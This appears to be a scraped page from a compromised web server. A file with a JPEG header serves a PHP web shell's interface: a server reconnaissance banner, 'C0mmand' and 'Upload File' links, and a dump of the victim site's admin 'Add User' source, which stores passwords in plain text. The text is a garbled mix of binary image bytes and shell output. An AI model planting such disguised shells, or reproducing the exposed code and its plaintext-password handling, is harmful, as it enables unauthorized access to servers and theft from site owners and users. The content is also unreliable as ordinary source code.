����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 18.119.107.208 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/mhmsfzcs/vflyorions.com/.well-known/../../www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include "db.php"; include "job/admin_header.php"; include "admin_sidebar.php"; date_default_timezone_set('Asia/Kolkata'); $currentTime = date( 'd-m-Y h:i:s A', time () ); $toda = date("d/m/Y"); if (isset($_POST['add'])) { $username=$_POST['username']; $password=$_POST['password']; $insert2 = $conn->prepare("INSERT INTO `profile`(`username`,`password`) VALUES (?,?)"); $insert2->bind_param("ss",$username,$password); $res=$insert2->execute(); if($res) { $_SESSION['status']="Well Done! User Added Successfully"; $_SESSION['status_code']="success"; } else { $_SESSION['status']="Oops something went wrong!!"; $_SESSION['status_code']="error"; } } ?> <main id="main" class="main"> <div class="pagetitle"> <h1>Add User</h1> <nav> <ol class="breadcrumb"> <li class="breadcrumb-item"><a href="index.php">Home</a></li> <li class="breadcrumb-item active">Dashboard</li> </ol> </nav> </div> <!-- End Page Title --> <section class="section dashboard"> <div class="row"> <!-- Left side columns --> <div class="col-lg-12"> <div class="row"> <div class="col-sm-3"> </div> <!-- Sales Card --> <div class="col-sm-6" > <div class="card info-card sales-card" style="height: 300px;"> <div class="card-body"> <div class="card-title"> <h4 style="font-family: Times New Roman;font-size:25px; text-align: center;"><b>Form</b></h4> </div> <div class="card-body"> <form method="post" enctype="multipart/form-data" > <div class="row mb-3"> <div class="form-group" > <label>Email Id :</label> <input name="username" type="email" class="form-control" > </div> </div> <div class="row mb-3"> <div class="form-group"> <label>Password :</label> <input name="password" type="text" class="form-control"> </div> </div> <div class="text-center"> <button type="submit" name="add" class="btn btn-primary" style="background-image: linear-gradient( rgba(252,37,103,1) 0%, rgba(250,38,151,1) );">Add</button> </div> </form> </div> </div> </div> </div> <!-- End Sales Card --> <!-- Customers Card --> <div class="col-sm-3"> </div> </div> </div> <!-- End Customers Card --> </div> </div><!-- End Left side columns --> </div> </section> </main> <!-- End #main --> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <?php if(isset($_SESSION['status']) && $_SESSION['status']!='') { ?> <script> new swal({ title: "<?php echo $_SESSION['status'];?>", //text: "You clicked the button!", icon: "<?php echo $_SESSION['status_code'];?>", button: "OK", }).then(function() { window.location = ""; }); </script> <?php unset($_SESSION['status']); } ?> <?php include "footer.php"; ?>